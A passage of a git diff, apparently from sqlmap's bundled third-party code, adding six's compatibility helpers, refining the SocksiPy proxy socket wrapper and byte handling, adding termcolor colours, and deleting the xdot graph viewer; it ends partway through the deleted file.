type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + del io + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] > (3,): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + + def __new__(cls, name, this_bases, d): + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + if hasattr(cls, '__qualname__'): + orig_vars['__qualname__'] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def ensure_binary(s, encoding='utf-8', errors='strict'): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, binary_type): + return s + if isinstance(s, text_type): + return s.encode(encoding, errors) + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding='utf-8', errors='strict'): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + # Optimization: Fast return for the common case. + if type(s) is str: + return s + if PY2 and isinstance(s, text_type): + return s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + return s + + +def ensure_text(s, encoding='utf-8', errors='strict'): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def python_2_unicode_compatible(klass): + """ + A class decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 2eaf223d875..065f90e0869 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """SocksiPy - Python SOCKS module. -Version 1.00 +Version 1.01 Copyright 2006 Dan-Haim. All rights reserved. @@ -33,7 +33,7 @@ """ """ -Minor modifications made by Miroslav Stampar (http://sqlmap.org/) +Minor modifications made by Miroslav Stampar (https://sqlmap.org) for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) @@ -44,6 +44,7 @@ """ +import functools import socket import struct @@ -107,9 +108,34 @@ def wrapmodule(module): This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ - if _defaultproxy != None: - module.socket.socket = socksocket - module.socket.create_connection = create_connection + if _defaultproxy is not None: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + # socket.socket([family[, type[, proto]]]) + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + # Normalize socket type by stripping flags (Py3.3+ may OR these in) + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + # Fallback: don't proxy AF_UNIX / raw / etc. + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if _defaultproxy[0] == PROXY_TYPE_SOCKS4: + # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) + pass + else: + module.socket.create_connection = create_connection else: raise GeneralProxyError((4, "no proxy specified")) @@ -181,23 +207,23 @@ def __negotiatesocks5(self, destaddr, destport): # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): + if chosenauth[0:1] != b'\x05': self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): + if chosenauth[1:2] == b'\x00': # No authentication is required pass - elif chosenauth[1:2] == chr(0x02).encode(): + elif chosenauth[1:2] == b'\x02': # Okay, we need to perform a basic username/password # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) + self.sendall(b'\x01' + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode()) authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): + if authstat[0:1] != b'\x01': # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): + if authstat[1:2] != b'\x00': # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) @@ -205,7 +231,7 @@ def __negotiatesocks5(self, destaddr, destport): else: # Reaching here is always bad self.close() - if chosenauth[1] == chr(0xFF).encode(): + if chosenauth[1:2] == b'\xff': raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) @@ -215,13 +241,13 @@ def __negotiatesocks5(self, destaddr, destport): # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) - req = req + chr(0x01).encode() + ipaddr + req = req + b'\x01' + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: # Resolve remotely ipaddr = None - req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr + req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + (destaddr if isinstance(destaddr, bytes) else destaddr.encode()) else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index bac57f28a97..ddea6dd59f2 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -81,6 +81,9 @@ COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) +# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting +COLORS["lightgrey"] = 37 +COLORS["darkgrey"] = 90 RESET = '\033[0m' diff --git a/thirdparty/xdot/__init__.py b/thirdparty/xdot/__init__.py deleted file mode 100644 index c1a869589f3..00000000000 --- a/thirdparty/xdot/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py deleted file mode 100644 index 4cb0004b9e3..00000000000 --- a/thirdparty/xdot/xdot.py +++ /dev/null @@ -1,2429 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -'''Visualize dot graphs via the xdot format.''' - -__author__ = "Jose Fonseca et al" - - -import os -import sys -import subprocess -import math -import colorsys -import time -import re -import optparse - -import gobject -import gtk -import gtk.gdk -import gtk.keysyms -import cairo -import pango -import pangocairo - - -# See http://www.graphviz.org/pub/scm/graphviz-cairo/plugin/cairo/gvrender_cairo.c - -# For pygtk inspiration and guidance see: -# - http://mirageiv.berlios.de/ -# - http://comix.sourceforge.net/ - - -class Pen: - """Store pen attributes.""" - - def __init__(self): - # set default attributes - self.color = (0.0, 0.0, 0.0, 1.0) - self.fillcolor = (0.0, 0.0, 0.0, 1.0) - self.linewidth = 1.0 - self.fontsize = 14.0 - self.fontname = "Times-Roman" - self.dash = () - - def copy(self): - """Create a copy of this pen.""" - pen = Pen() - pen.__dict__ = self.__dict__.copy() - return pen - - def highlighted(self): - pen = self.copy() - pen.color = (1, 0, 0, 1) - pen.fillcolor = (1, .8, .8, 1) - return pen - - -class Shape: - """Abstract base class for all the drawing shapes.""" - - def __init__(self): - pass - - def draw(self, cr, highlight=False): - """Draw this shape with the given cairo context""" - raise NotImplementedError - - def select_pen(self, highlight): - if highlight: - if not hasattr(self, 'highlight_pen'): - self.highlight_pen = self.pen.highlighted() - return self.highlight_pen - else: - return self.pen - - def search_text(self, regexp): - return False - - -class TextShape(Shape): - - LEFT, CENTER, RIGHT = -1, 0, 1 - - def __init__(self, pen, x, y, j, w, t): - Shape.__init__(self) - self.pen = pen.copy() - self.x = x - self.y = y - self.j = j - self.w = w - self.t = t - - def draw(self, cr, highlight=False): - - try: - layout = self.layout - except AttributeError: - layout = cr.create_layout() - - # set font options - # see http://lists.freedesktop.org/archives/cairo/2007-February/009688.html - context = layout.get_context() - fo = cairo.FontOptions() - fo.set_antialias(cairo.ANTIALIAS_DEFAULT) - fo.set_hint_style(cairo.HINT_STYLE_NONE) - fo.set_hint_metrics(cairo.HINT_METRICS_OFF) - try: - pangocairo.context_set_font_options(context, fo) - except TypeError: - # XXX: Some broken pangocairo bindings show the error - # 'TypeError: font_options must be a cairo.FontOptions or None' - pass - - # set font - font = pango.FontDescription() - font.set_family(self.pen.fontname) - font.set_absolute_size(self.pen.fontsize*pango.SCALE) - layout.set_font_description(font) - - # set text - layout.set_text(self.t) - - # cache it - self.layout = layout - else: - cr.update_layout(layout) - - descent = 2 # XXX get descender from font metrics - - width, height = layout.get_size() - width = float(width)/pango.SCALE - height = float(height)/pango.SCALE - # we know the width that dot thinks this text should have - # we do not necessarily have a font with the same metrics - # scale it so that the text fits inside its box - if width > self.w: - f = self.w / width - width = self.w # equivalent to width *= f - height *= f - descent *= f - else: - f = 1.0 - - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*width - elif self.j == self.RIGHT: - x = self.x - width - else: - assert 0 - - y = self.y - height + descent - - cr.move_to(x, y) - - cr.save() - cr.scale(f, f) - cr.set_source_rgba(*self.select_pen(highlight).color) - cr.show_layout(layout) - cr.restore() - - if 0: # DEBUG - # show where dot thinks the text should appear - cr.set_source_rgba(1, 0, 0, .9) - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*self.w - elif self.j == self.RIGHT: - x = self.x - self.w - cr.move_to(x, self.y) - cr.line_to(x+self.w, self.y) - cr.stroke() - - def search_text(self, regexp): - return regexp.search(self.t) is not None - - -class ImageShape(Shape): - - def __init__(self, pen, x0, y0, w, h, path): - Shape.__init__(self) - self.pen = pen.copy() - self.x0 = x0 - self.y0 = y0 - self.w = w - self.h = h - self.path = path - - def draw(self, cr, highlight=False): - cr2 = gtk.gdk.CairoContext(cr) - pixbuf = gtk.gdk.pixbuf_new_from_file(self.path) - sx = float(self.w)/float(pixbuf.get_width()) - sy = float(self.h)/float(pixbuf.get_height()) - cr.save() - cr.translate(self.x0, self.y0 - self.h) - cr.scale(sx, sy) - cr2.set_source_pixbuf(pixbuf, 0, 0) - cr2.paint() - cr.restore() - - -class EllipseShape(Shape): - - def __init__(self, pen, x0, y0, w, h, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.x0 = x0 - self.y0 = y0 - self.w = w - self.h = h - self.filled = filled - - def draw(self, cr, highlight=False): - cr.save() - cr.translate(self.x0, self.y0) - cr.scale(self.w, self.h) - cr.move_to(1.0, 0.0) - cr.arc(0.0, 0.0, 1.0, 0, 2.0*math.pi) - cr.restore() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class PolygonShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[-1] - cr.move_to(x0, y0) - for x, y in self.points: - cr.line_to(x, y) - cr.close_path() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class LineShape(Shape): - - def __init__(self, pen, points): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for x1, y1 in self.points[1:]: - cr.line_to(x1, y1) - pen = self.select_pen(highlight) - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class BezierShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for i in xrange(1, len(self.points), 3): - x1, y1 = self.points[i] - x2, y2 = self.points[i + 1] - x3, y3 = self.points[i + 2] - cr.curve_to(x1, y1, x2, y2, x3, y3) - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class CompoundShape(Shape): - - def __init__(self, shapes): - Shape.__init__(self) - self.shapes = shapes - - def draw(self, cr, highlight=False): - for shape in self.shapes: - shape.draw(cr, highlight=highlight) - - def search_text(self, regexp): - for shape in self.shapes: - if shape.search_text(regexp): - return True - return False - - -class Url(object): - - def __init__(self, item, url, highlight=None): - self.item = item - self.url = url - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Jump(object): - - def __init__(self, item, x, y, highlight=None): - self.item = item - self.x = x - self.y = y - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Element(CompoundShape): - """Base class for graph nodes and edges.""" - - def __init__(self, shapes): - CompoundShape.__init__(self, shapes) - - def is_inside(self, x, y): - return False - - def get_url(self, x, y): - return None - - def get_jump(self, x, y): - return None - - -class Node(Element): - - def __init__(self, id, x, y, w, h, shapes, url): - Element.__init__(self, shapes) - - self.id = id - self.x = x - self.y = y - - self.x1 = x - 0.5*w - self.y1 = y - 0.5*h - self.x2 = x + 0.5*w - self.y2 = y + 0.5*h - - self.url = url - - def is_inside(self, x, y): - return self.x1 <= x and x <= self.x2 and self.y1 <= y and y <= self.y2 - - def get_url(self, x, y): - if self.url is None: - return None - if self.is_inside(x, y): - return Url(self, self.url) - return None - - def get_jump(self, x, y): - if self.is_inside(x, y): - return Jump(self, self.x, self.y) - return None - - def __repr__(self): - return "" % self.id - - -def square_distance(x1, y1, x2, y2): - deltax = x2 - x1 - deltay = y2 - y1 - return deltax*deltax + deltay*deltay - - -class Edge(Element): - - def __init__(self, src, dst, points, shapes): - Element.__init__(self, shapes) - self.src = src - self.dst = dst - self.points = points - - RADIUS = 10 - - def is_inside_begin(self, x, y): - return square_distance(x, y, *self.points[0]) <= self.RADIUS*self.RADIUS - - def is_inside_end(self, x, y): - return square_distance(x, y, *self.points[-1]) <= self.RADIUS*self.RADIUS - - def is_inside(self, x, y): - if self.is_inside_begin(x, y): - return True - if self.is_inside_end(x, y): - return True - return False - - def get_jump(self, x, y): - if self.is_inside_begin(x, y): - return Jump(self, self.dst.x, self.dst.y, highlight=set([self, self.dst])) - if self.is_inside_end(x, y): - return Jump(self, self.src.x, self.src.y, highlight=set([self, self.src])) - return None - - def __repr__(self): - return " %s>" % (self.src, self.dst) - - -class Graph(Shape): - - def __init__(self, width=1, height=1, shapes=(), nodes=(), edges=()): - Shape.__init__(self) - - self.width = width - self.height = height - self.shapes = shapes - self.nodes = nodes - self.edges = edges - - def get_size(self): - return self.width, self.height - - def draw(self, cr, highlight_items=None): - if highlight_items is None: - highlight_items = () - cr.set_source_rgba(0.0, 0.0, 0.0, 1.0) - - cr.set_line_cap(cairo.LINE_CAP_BUTT) - cr.set_line_join(cairo.LINE_JOIN_MITER) - - for shape in self.shapes: - shape.draw(cr) - for edge in self.edges: - edge.draw(cr, highlight=(edge in highlight_items)) - for node in self.nodes: - node.draw(cr, highlight=(node in highlight_items)) - - def get_element(self, x, y): - for node in self.nodes: - if node.is_inside(x, y): - return node - for edge in self.edges: - if edge.is_inside(x, y): - return edge - - def get_url(self, x, y): - for node in self.nodes: - url = node.get_url(x, y) - if url is not None: - return url - return None - - def get_jump(self, x, y): - for edge in self.edges: - jump = edge.get_jump(x, y) - if jump is not None: - return jump - for node in self.nodes: - jump = node.get_jump(x, y) - if jump is not None: - return jump - return None - - -BOLD = 1 -ITALIC = 2 -UNDERLINE = 4 -SUPERSCRIPT = 8 -SUBSCRIPT = 16 -STRIKE_THROUGH = 32 - - -class XDotAttrParser: - """Parser for xdot drawing attributes. - See also: - - http://www.graphviz.org/doc/info/output.html#d:xdot - """ - - def __init__(self, parser, buf): - self.parser = parser - self.buf = buf - self.pos = 0 - - self.pen = Pen() - self.shapes = [] - - def __nonzero__(self): - return self.pos < len(self.buf) - - def read_code(self): - pos = self.buf.find(" ", self.pos) - res = self.buf[self.pos:pos] - self.pos = pos + 1 - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_int(self): - return int(self.read_code()) - - def read_float(self): - return float(self.read_code()) - - def read_point(self): - x = self.read_float() - y = self.read_float() - return self.transform(x, y) - - def read_text(self): - num = self.read_int() - pos = self.buf.find("-", self.pos) + 1 - self.pos = pos + num - res = self.buf[pos:self.pos] - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_polygon(self): - n = self.read_int() - p = [] - for i in range(n): - x, y = self.read_point() - p.append((x, y)) - return p - - def read_color(self): - # See http://www.graphviz.org/doc/info/attrs.html#k:color - c = self.read_text() - c1 = c[:1] - if c1 == '#': - hex2float = lambda h: float(int(h, 16)/255.0) - r = hex2float(c[1:3]) - g = hex2float(c[3:5]) - b = hex2float(c[5:7]) - try: - a = hex2float(c[7:9]) - except (IndexError, ValueError): - a = 1.0 - return r, g, b, a - elif c1.isdigit() or c1 == ".": - # "H,S,V" or "H S V" or "H, S, V" or any other variation - h, s, v = map(float, c.replace(",", " ").split()) - r, g, b = colorsys.hsv_to_rgb(h, s, v) - a = 1.0 - return r, g, b, a - elif c1 == "[": - sys.stderr.write('warning: color gradients not supported yet\n') - return None - else: - return self.lookup_color(c) - - def lookup_color(self, c): - try: - color = gtk.gdk.color_parse(c) - except ValueError: - pass - else: - s = 1.0/65535.0 - r = color.red*s - g = color.green*s - b = color.blue*s - a = 1.0 - return r, g, b, a - - try: - dummy, scheme, index = c.split('/') - r, g, b = brewer_colors[scheme][int(index)] - except (ValueError, KeyError): - pass - else: - s = 1.0/255.0 - r = r*s - g = g*s - b = b*s - a = 1.0 - return r, g, b, a - - sys.stderr.write("warning: unknown color '%s'\n" % c) - return None - - def parse(self): - s = self - - while s: - op = s.read_code() - if op == "c": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=False) - elif op == "C": - color = s.read_color() - if color is not None: - self.handle_color(color, filled=True) - elif op == "S": - # http://www.graphviz.org/doc/info/attrs.html#k:style - style = s.read_text() - if style.startswith("setlinewidth("): - lw = style.split("(")[1].split(")")[0] - lw = float(lw) - self.handle_linewidth(lw) - elif style in ("solid", "dashed", "dotted"): - self.handle_linestyle(style) - elif op == "F": - size = s.read_float() - name = s.read_text() - self.handle_font(size, name) - elif op == "T": - x, y = s.read_point() - j = s.read_int() - w = s.read_float() - t = s.read_text() - self.handle_text(x, y, j, w, t) - elif op == "t": - f = s.read_int() - self.handle_font_characteristics(f) - elif op == "E": - x0, y0 = s.read_point() - w = s.read_float() - h = s.read_float() - self.handle_ellipse(x0, y0, w, h, filled=True) - elif op == "e": - x0, y0 = s.read_point() - w = s.read_float() - h = s.read_float() - self.handle_ellipse(x0, y0, w, h, filled=False) - elif op == "L": - points = self.read_polygon() - self.handle_line(points) - elif op == "B": - points = self.read_polygon() - self.handle_bezier(points, filled=False) - elif op == "b": - points = self.read_polygon() - self.handle_bezier(points, filled=True) - elif op == "P": - points = self.read_polygon() - self.handle_polygon(points, filled=True) - elif op == "p": - points = self.read_polygon() - self.handle_polygon(points, filled=False) - elif op == "I": - x0, y0 = s.read_point() - w = s.read_float() - h = s.read_float() - path = s.read_text() - self.handle_image(x0, y0, w, h, path) - else: - sys.stderr.write("error: unknown xdot opcode '%s'\n" % op) - sys.exit(1) - - return self.shapes - - def transform(self, x, y): - return self.parser.transform(x, y) - - def handle_color(self, color, filled=False): - if filled: - self.pen.fillcolor = color - else: - self.pen.color = color - - def handle_linewidth(self, linewidth): - self.pen.linewidth = linewidth - - def handle_linestyle(self, style): - if style == "solid": - self.pen.dash = () - elif style == "dashed": - self.pen.dash = (6, ) # 6pt on, 6pt off - elif style == "dotted": - self.pen.dash = (2, 4) # 2pt on, 4pt off - - def handle_font(self, size, name): - self.pen.fontsize = size - self.pen.fontname = name - - def handle_font_characteristics(self, flags): - # TODO - if flags != 0: - sys.stderr.write("warning: font characteristics not supported yet\n" % op) - - def handle_text(self, x, y, j, w, t): - self.shapes.append(TextShape(self.pen, x, 